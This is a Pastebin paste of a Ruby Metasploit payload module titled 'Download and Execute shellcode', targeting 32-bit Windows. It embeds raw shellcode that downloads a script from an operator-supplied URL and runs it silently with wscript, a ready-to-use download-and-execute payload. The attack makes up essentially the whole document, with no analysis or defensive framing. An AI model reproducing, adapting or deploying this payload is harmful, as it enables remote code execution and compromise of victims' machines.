r00t-3xp10it

[ Download a script from a HTTP URL and execute shellcode]

Nov 27th, 2014
454
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 3.23 KB | None | 0 0
  1. ##
  2. #
  3. # [Download a script from a HTTP URL and execute shellcode]
  4. # $Id$ 1.1 Author: pedr0 Ubuntu [r00t-3xp10it]
  5. # Hosted By: peterubuntu10[at]sourceforge[dot]net
  6. # http://sourceforge.net/p/myauxiliarymete/wiki/Home/
  7. # ---------------------------------------------
  8. # Based on: [darkoperator & sinn3r] metasploit modules!
  9. # http://www.offensive-security.com/metasploit-unleashed/Building_A_Module
  10. # http://www.offensive-security.com/metasploit-unleashed/Useful_API_Calls
  11. # http://www.rubydoc.info/github/rapid7/metasploit-framework/index
  12. # (the only CORE/API documentation available to study) :(
  13. #
  14. ##
  15.  
  16. require 'msf/core'
  17. require 'msf/core/payload/windows/exec'
  18.  
  19.  
  20. module Metasploit3
  21.  
  22.     include Msf::Payload::Windows
  23.     include Msf::Payload::Single
  24.  
  25.     def initialize(info = {})
  26.         super(update_info(info,
  27.             'Name'          => 'Download and Execute shellcode',
  28.             'Description'   => %q{
  29.                                               'Download a script from a HTTP URL and execute',
  30.                                                'shellcode payload'
  31.  
  32.                         },
  33.                         'Author'        =>
  34.                                 [
  35.                                         'peterubuntu10[at]sourceforge[dot]net',
  36.                                         'Special thanks to [darkoperator & sinn3r] from rapid7',
  37.                                 ],
  38.             'License'       => UNKNOWN_LICENSE,
  39.                         'Version'       => '$Revision: 1.1',
  40.                         'releasedDate'  => 'nov 27 2014',
  41.                         'Platform'      => 'windows',
  42.                         'Arch'          => 'x86',
  43.             'Privileged'    => false,
  44.             'Payload'       =>
  45.             {
  46.                 'Offsets' => { },
  47.                 'Payload' =>
  48.                     "\xeb\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b" +
  49.                     "\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xc3\x60" +
  50.                     "\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a" +
  51.                     "\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31" +
  52.                     "\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb" +
  53.                     "\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c" +
  54.                     "\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c" +
  55.                     "\x61\xc3\xe8\x92\xff\xff\xff\x5f\x81\xef\x98\xff\xff\xff\xeb" +
  56.                     "\x05\xe8\xed\xff\xff\xff\x68\x8e\x4e\x0e\xec\x53\xe8\x94\xff" +
  57.                     "\xff\xff\x31\xc9\x66\xb9\x6f\x6e\x51\x68\x75\x72\x6c\x6d\x54" +
  58.                     "\xff\xd0\x68\x36\x1a\x2f\x70\x50\xe8\x7a\xff\xff\xff\x31\xc9" +
  59.                     "\x51\x51\x8d\x37\x81\xc6\xee\xff\xff\xff\x8d\x56\x0c\x52\x57" +
  60.                     "\x51\xff\xd0\x68\x98\xfe\x8a\x0e\x53\xe8\x5b\xff\xff\xff\x41" +
  61.                     "\x51\x56\xff\xd0\x68\x7e\xd8\xe2\x73\x53\xe8\x4b\xff\xff\xff" +
  62.                     "\xff\xd0\x77\x73\x63\x72\x69\x70\x74\x20\x2f\x2f\x42\x20\x61" +
  63.                     "\x2e\x76\x62\x73\x00"
  64.             }
  65.             ))
  66.  
  67.         # EXITFUNC is not supported :/
  68.         deregister_options('EXITFUNC')
  69.  
  70.         # Register command execution options
  71.         register_options(
  72.             [
  73.                 OptString.new('URL', [ true, "The URL pointing to the script.  Don't use .txt, .htm file extentions!" ])
  74.             ], self.class)
  75.     end
  76.  
  77.     #
  78.     # Constructs the payload
  79.     #
  80.     def generate_stage
  81.         return module_info['Payload']['Payload'] + (datastore['URL'] || '') + "\x00"
  82.     end
  83.  
  84. end
Add Comment
Please, Sign In to add comment